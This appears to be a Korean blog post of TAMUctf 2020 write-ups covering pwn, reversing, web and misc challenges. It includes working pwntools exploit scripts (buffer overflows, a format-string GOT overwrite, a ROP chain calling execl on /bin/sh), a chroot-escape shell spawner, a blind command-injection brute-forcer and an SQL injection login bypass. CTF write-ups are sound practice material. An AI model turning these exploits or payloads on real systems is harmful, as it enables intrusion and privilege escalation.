PWN :: BBPWN
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 4252) else : p = process('./bbpwn') def exploit() : payload = b'A'*0x20 payload += p32(0x1337BEEF) p.writeline(payload) p.interactive() if __name__ == '__main__' : exploit() |
Flag: gigem{0per4tion_skuld_74757474757275}
PWN :: ECHO_AS_A_SERVICE
플래그가 스택에 올라가 있기 때문에 %p로 몇 번 읽어서 합하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
from pwn import *
from binascii import unhexlify import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 4251) else : p = process('./echoasaservice') def exploit() : p.writelineafter(b'(EaaS)\n', b'%8$p %9$p %10$p') flag = b''.join([p64(int(f[2:].rstrip(), 16)) for f in p.readline().split(b' ')]) print('[Exploit] Flag: '+flag.decode()) if __name__ == '__main__' : exploit() |
Flag: gigem{3asy_f0rmat_vuln1}
PWN :: TROLL
BOF로 seed값을 overwrite 할 수 있다. C로 RNG를 만들어서 랜덤 숫자를 출력해주는 간단한 엔진을 만들고 seed값을 동일하게 조절한 뒤 1~100000 범위 이내로 값을 정규화시켜서 100번 보내면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#include <stdio.h>
#include <stdint.h> #include <stdlib.h> int main(int argc, char **argv, char **envp) { if (argc < 3) { printf("Usage: %s [seed] [samples]\n", argv[0]); return 0; } uint64_t seed = atoll(argv[1]); int samples = atoi(argv[2]); srand(seed); for (int i=0 ; i<samples ; i++) { int r = rand(); printf("%d\n", r); } return 0; } |
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 4765) else : p = process('./troll') def exploit() : seed = 98765 samples = 100 rng = process(['./rand_generator', str(seed), str(samples)]) rns = [] for i in range(samples) : rns.append(int(rng.readline().rstrip())) rng.close() payload = b'A'*0x40 payload += p64(seed) p.writeline(payload) for r in rns : p.writeline(str(r%100000+1)) p.interactive() if __name__ == '__main__' : exploit() |
Flag: gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}
PWN :: B64DECODER
처음에 a64l 주소를 알려줘서 libc leak을 따로 할 필요가 없고, PIE가 아니기 때문에 putchar의 GOT에 매직 가젯의 주소를 overwrite하면 된다. 이름을 printf에 그대로 인자로 넘기는 부분에서 FSB가 발생하는데, 31바이트까지만 입력을 받을 수 있고, 일반적인 FSB payload를 짜면 30~33바이트 사이의 문자열이 나오기 때문에 31바이트 이하의 payload를 보내야 문자열이 완전하게 보존된다.
magic gadget은 0x3EAF3에 있는 것을 사용했다. ([esp+0x40]==NULL) 그 이전의 3개의 가젯은 조건이 안 맞아서 실패한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
from pwn import *
import argparse import sys parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 2783) else : p = process('./b64decoder') def _print_stderr(*args, **kwargs) : __builtins__.print(*args, file=sys.stderr, **kwargs) print = _print_stderr def exploit() : putchar_got = 0x804B3C0 p.readuntil(b'(0x') a64l_resolved = int(p.readuntil(b')')[:-1], 16) libc_base = a64l_resolved - 0x3F290 magic_gadget = libc_base + 0x3EAF3 print('[Exploit] a64l = '+hex(a64l_resolved)) print('[Exploit] libc base: '+hex(libc_base)) print('[Exploit] magic gadget: '+hex(magic_gadget)) magic_gadget_high = (magic_gadget >> 16) & 0xFFFF magic_gadget_low = magic_gadget & 0xFFFF payload = p32(putchar_got) payload += p32(putchar_got+2) payload += '%{0}c%71$n'.format(magic_gadget_low-8).encode() payload += '%{0}c%72$n'.format((magic_gadget_high-magic_gadget_low)%0x10000).encode() if len(payload) >= 32 : print("[Info] payload length is above 31, can't proceed. Aborting.") exit() p.writeline(payload) p.interactive() if __name__ == '__main__' : exploit() |
Flag: gigem{b1n5h_1n_b45364?}
PWN :: GUNZIP_AS_A_SERVICE
child 프로세스는 gunzip을 수행하고, parent는 입력을 받고 child에 데이터를 pipe로 넘겨준 뒤 결과를 받아 보여준다. 이 때 child에서 압축 해제 결과를 받는 함수 gets_fd에서 gets를 사용하기 때문에 BOF가 발생한다.
압축 후의 데이터 크기가 0x200 이하여도 압축 후에는 0x200을 넘기 때문에 발생하는 취약점이다.
void __cdecl gets_fd(char *s, int fd)
{
int copy_stdin; // ST1C_4
copy_stdin = dup(0);
dup2(fd, 0);
gets(s);
dup2(copy_stdin, 0);
}
|
처음에는 libc leak으로 magic gadget을 실행시키는 방법을 시도했으나 libc를 못 찾아서 실패했다.
좀 둘러보다가 execl으로 쉘을 실행할 수 있다는 걸 파악해서, execl을 실행시키는 exploit 코드를 짜고 플래그를 땄다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
from time import sleep import argparse import gzip parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 4709) else : p = process('./gunzipasaservice') def exploit() : execl_plt = 0x80490B0 pop_3_ret = 0x8049479 payload = b'\x00'*0x418 payload += p32(execl_plt) payload += p32(pop_3_ret) # not needed payload += p32(0x804A00E) # /bin/sh payload += p32(0x804A00B) # sh payload += p32(0) payload_comp = gzip.compress(payload) p.write(payload_comp) p.interactive() if __name__ == '__main__' : exploit() |
Flag: gigem{r0p_71m3}
PWN :: GETTING_CONFUSED
트릭 문제다. (나름 신선하다) 설명을 위해 두 번째 질문 이후의 C 코드를 여기에 써 보면..
LODWORD(answer[0]) = 'oohw'; // strcpy(answer, "whoop\n");
WORD2(answer[0]) = '\np';
BYTE6(answer[0]) = 0;
buf = malloc(0x40uLL); // void *buf = malloc(0x40);
input[0] = (__int64)buf; // input[0] = buf;
v4 = answer[1];
*buf = answer[0]; // buf[0] = answer[0];
buf[1] = v4; // buf[1] = answer[1];
v5 = answer[3];
buf[2] = answer[2]; // buf[2] = answer[2];
buf[3] = v5; // buf[3] = answer[3];
v6 = answer[5];
buf[4] = answer[4]; // buf[4] = answer[4];
buf[5] = v6; // buf[5] = answer[5];
v7 = answer[7];
buf[6] = answer[6]; // buf[6] = answer[6];
buf[7] = v7; // buf[7] = answer[7];
puts("What's our secret way of knowing when another one of us is in a crowd?");
fgets((char *)input, 64, (FILE *)&dword_0); // fgets(input[0], 64, stdin);
if ( strcmp((const char *)input[0], (const char *)answer) )
{
puts("Begone, 2%er!");
exit(1);
}
stream = fopen("flag.txt", "r");
fgets((char *)input, 64, stream);
puts((const char *)input);
fclose(stream);
|
주석은 가독성을 위해 옆에 정리한 코드다.
answer에 문자열 whoop\n 을 쓰고, input에 buf의 주소를 넣은 뒤 answer의 64바이트를 buf의 64바이트로 옮긴다.
만약 fgets에서 입력을 받지 않는다면 input[0]과 answer가 가리키는 문자열은 같겠지만, fgets를 지나면서 input[0]에 유저가 입력한 값이 씌워지면서 Segmentation Fault가 발생한다. 따라서 input에는 아무것도 보내주지 않아야 한다. 이럴 때 사용할 수 있는 문자는 \x04, EOT (End of Transmission) 이다. \x04 1바이트를 보내주면 strcmp를 통과하고 플래그를 얻을 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('challenges.tamuctf.com', 4352) else : p = process('./getting-confused') def exploit() : payload = b'howdy\n' p.write(payload) payload = b"gig 'em\n" p.write(payload) p.writeafter(b'crowd?', b'\x04') p.interactive() if __name__ == '__main__' : exploit() |
이게 가능한 이유는 아마 _start_c 때문인 듯 한데, 분석하기 귀찮아서 그냥 넘어갔다.
Flag: gigem{fg3ts_g3t5_c0nfu5ed_2}
REVERSING :: VAULT
call deobfuscate; 에 bp 걸고 리턴값 확인하면 된다.
Flag: gigem{p455w0rd_1n_m3m0ry1}
REVERSING :: RUSTY_AT_REVERSING
라이브러리에 get_flag 함수가 있다. 그냥 가져다 쓰면 된다.
컴파일 cmdline: gcc solve.c -o solve -l:librusty_at_reversing.so
1
2 3 4 5 6 7 8 9 10 11 12 13 14 |
#include <stdio.h>
#include <string.h> extern void get_flag(char *flag); int main() { char flag[0x60]; memset(flag, 0, 0x60); get_flag(flag); puts(flag); return 0; } |
Flag: gigem{mr_stark_i_feel_rusty}
REVERSING :: ANGRMANAGEMENT
angr로 입력값 구하고 서버에 보내주면 플래그를 준다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import angr
import claripy import monkeyhex p = angr.Project('./angrmanagement', main_opts={'base_addr':0x400000}) b = [claripy.BVS('%d'%_, 8) for _ in range(32)] b.append(claripy.BVV('\n', 8)) inp = claripy.Concat(*b) state = p.factory.full_init_state(args=['./angrmanagement'], stdin=inp, add_options=angr.options.unicorn) state.options.add(angr.options.FAST_MEMORY) state.options.add(angr.options.FAST_REGISTERS) for bv in b[:-1] : state.solver.add(bv >= 32) state.solver.add(bv <= 126) simgr = p.factory.simgr(state) simgr.explore(find=0x402360) for s in simgr.found : print(s.posix.dumps(0)) |
여기서 구한 비밀번호는 x#P(YGomT[$D5^;R0hcAW?{([.cg?A:j 이다.
Flag: gigem{4n63r_m4n463m3n7}
REVERSING :: ABOUT_TIME
그냥 역연산 하는 코드 짜면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
def decrypt1(s, key) :
r = list(s) for i in range(0, len(r), 3) : c = ord(r[i]) if 97 <= c <= 122 : r[i] = chr((c-97-key-13)%26+97) elif 65 <= c <= 90 : r[i] = chr((c-65-key-13)%26+65) return ''.join(r) def decrypt2(s, key) : return s[-key:]+s[:-key] def decrypt3(s, key) : r = list(s) for i in range(len(r)) : c = ord(r[i]) if 48+key <= c <= 57+key : r[i] = chr(c-key) return ''.join(r) if __name__ == '__main__' : passwd = 'n>iGet7geNaw;>CB8tmAbIu' decrypt = [decrypt1, decrypt2, decrypt3] minute = 23 key = minute%6+2 passwd = decrypt[(key+2)%3](passwd, key) passwd = decrypt[(key+1)%3](passwd, key) passwd = decrypt[key%3](passwd, key) print(passwd) |
Flag: gigem{1tsAbOut7iMet0geTaw47CH}
WEB :: CREDITS
Generate 버튼을 누르면 /newcredits에 increment=1로 POST request를 보낸다. 콘솔에서 똑같이 increment=2000000000으로 /newcredits에 요청을 보내면 크레딧이 20억이 되고 플래그를 살 수 있다.
Flag: gigem{serverside_53rv3r5163_SerVeRSide}
WEB :: TOO_MANY_CREDITS_1
counter라는 쿠키가 설정된다. 아무 값이나 넣어서 보내주면 GZIP format이 아니라고 오류를 띄운다.
gunzip으로 확인해 보면 마지막 4바이트에 big endian 형식으로 크레딧 값을 저장하고 있다. 대략 0x7FFF0000 정도로 바꿔서 gzip 한 뒤 base64로 인코딩한 값을 쿠키로 설정해 주면 크레딧 값을 0x7FFF0000으로 바꿀 수 있다.
Flag: gigem{l0rdy_th15_1s_mAny_cr3d1ts}
WEB :: PASSWORD_EXTRACTION
아이디로 admin, 비밀번호로 admin'OR'1'='1 을 보내보니 성공적으로 authorize 됐다고 한다. SQL Injection이 통하는 걸 알았으니 sqlmap으로 DB 덤프하면 된다.
available databases [5]:
[*] db [*] information_schema [*] mysql [*] performance_schema [*] sys Database: db [1 table] +----------+ | accounts | +----------+ Database: db Table: accounts [1 entry] +----------------------------+----------+ | password | username | +----------------------------+----------+ | gigem{h0peYouScr1ptedTh1s} | admin | +----------------------------+----------+ |
Flag: gigem{h0peYouScr1ptedTh1s}
NETWORK_PENTEST :: LISTEN
OpenVPN config 설정하고 패킷을 받아서 플래그 보면 되지만.. Wireshark로 tap device가 인식이 안 돼서 하루종일 삽질하다가 SmartSniff로 봤더니 잘 보인다.
Flag: gigem{Raunch05_got_el3ctr0lytes}
MISC :: ALCAPONE
/RECYCLER 에서 INFO2 파일을 보면 C:\Documents and Settings\Administrator\Desktop 에 있는 flagN.txt 파일들이 지워진 흔적을 볼 수 있다. 해당 디렉토리로 가서 40개 텍스트 파일을 전부 추출한 뒤 for문으로 gigem{ 을 grep하면 flag18.txt에서 플래그를 찾을 수 있다.
Flag: gigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}
MISC :: INSTAGRAM
APP0 marker에서 JFIF 4글자를 원래 있어야 할 곳에 삽입해 주면 정상적인 이미지를 얻을 수 있다.
Flag: gigem{cH4nG3_the_f0rMaTxD}
MISC :: CORRUPTED_DISK
binwalk 쓰고 PNG 추출해서 플래그 뽑았다. 0x16AB0에 PNG 이미지가 있으니 0x16AB0 부터 0x42AB0 까지의 범위를 잘라내면 된다.
Flag: gigem{wh3r3_w3r3_601n6_w3_d0n7_n33d_h34d3r5}
MISC :: WOOF_WOOF
Comment marker에 woof, bark, ruff로 이루어진 문자열이 있다. woof는 - (dash), bark는 . (dot), ruff는 delimeter로 복호화하면 플래그를 얻을 수 있다.
Flag: GIGEM-D0GT@ST1CJ0B-
MISC :: BLIND
쉘 위에서 true/false 리턴값을 사용한 brute force 로 풀었다. 근데 플래그를 보니 왠지 reverse shell을 따는 게 목적이었던 것 같은데, 리눅스가 VM에서 돌아가는 것 때문인지는 모르겠지만 잘 안 돼서 이 풀이는 보류..
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
p = connect('challenges.tamuctf.com', 3424) def check(string) : p.writelineafter(': ', 'cat flag.txt | grep "{0}"'.format(string)) res = int(p.readline().rstrip()) if res == 0 : return True else : return False if __name__ == '__main__' : flag = 'gigem{' while True : found = False for c in r'_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' : if check(flag+c) : found = True flag += c print(flag) break if not found : if check(flag+'}') : flag += '}' break else : raise Exception print('Flag: {0}'.format(flag)) |
Flag: gigem{r3v3r53_5h3ll5}
MISC :: RSAPWN
FactorDB API로 슥삭하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
from pwn import *
from time import sleep import json import requests p = connect('challenges.tamuctf.com', 8573) def factorize(n) : r = requests.get('http://factordb.com/api?query={0}'.format(n)) data = json.loads(r.content.decode()) return data['factors'] if __name__ == '__main__' : sleep(0.5) ; p.read() ; p.write('\n') N = int(p.readline().rstrip()) primes = factorize(N) p1, p2 = primes[0][0], primes[1][0] print('N = {}'.format(N)) print('factors: {} {}'.format(p1, p2)) p.writeline('{} {}'.format(p1, p2)) p.interactive() |
Flag: gigem{g00d_job_yOu_h4aaxx0rrR}
MISC :: GEOGRAPHY
주어진 2개의 값을 32bit 부동 소수점으로 표현하면 각각 -70.249863과 -18.529234가 나온다. 위도 18.529234S, 경도 70.249863W 의 위치를 살펴보면 칠레의 Arica 지역에 CocaCola가 하늘에서 볼 수 있도록 크게(?) 그려져 있다. 플래그 형식에 맞춰 제출하면 끝.
Flag: gigem{CocaCola}
MISC :: NOT_SO_GREAT_ESCAPE
chroot escape, 아래의 자료들을 참고했다.
https://github.com/earthquake/chw00t/
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
#include <stdio.h>
#include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <sys/stat.h> #define MAX_DEPTH 5 uint32_t move_to_root() { for (int i=0 ; i<MAX_DEPTH ; i++) { if (chdir("..")) { return 1; } } return 0; } uint32_t escape(char *dir) { struct stat dirstat; if (stat(dir, &dirstat) == 0) { printf("[-] %s exists, please remove\n", dir); return 1; } printf("[+] creating directory %s\n", dir); if (mkdir(dir, 0700)) { printf("[-] failed to create directory %s\n", dir); return 2; } printf("[+] calling chroot(\"%s\")\n", dir); if (chroot(dir)) { printf("[-] chroot failed to %s\n", dir); return 3; } puts("[+] moving current directory to root"); if (move_to_root()) { puts("[-] chdir failed"); return 4; } puts("[+] calling chroot(\".\")"); if (chroot(".")) { puts("[-] chroot failed to root"); return 5; } puts("[+] spawning shell ..."); system("/bin/sh"); return 0; } int main() { escape("escape"); return 0; } |
입력이 대략 1050 글자 쯤에서 잘리는 것 같아서, 바이너리를 BASE64로 인코딩한 문자열을 1000글자씩 끊어서 보낸 뒤에 서버에서 디코딩하고 실행했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from pwn import *
from time import sleep with open('ex_b64', 'r') as f : data = f.read() if __name__ == '__main__' : p = connect('challenges.tamuctf.com', 4353) p.writeline('2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e') sleep(1) p.writeline('touch ex_b64') size = len(data) for i in range(0, size, 1000) : p.writeline('echo "{}" >> ex_b64'.format(data[i:i+1000])) print('Writing {} ~ {} ...'.format(i, max(size-1, i+999))) p.interactive() |
Flag: gigem{up_up_&_a_way_0u7}
'CTF > CTF Playground' 카테고리의 다른 글
IJCTF 2020 (0) | 2020.04.27 |
---|---|
Houseplant CTF (0) | 2020.04.27 |
Securinets Prequals 2K20 (0) | 2020.03.23 |
riftCTF (0) | 2020.03.21 |
ångstromCTF 2020 (0) | 2020.03.16 |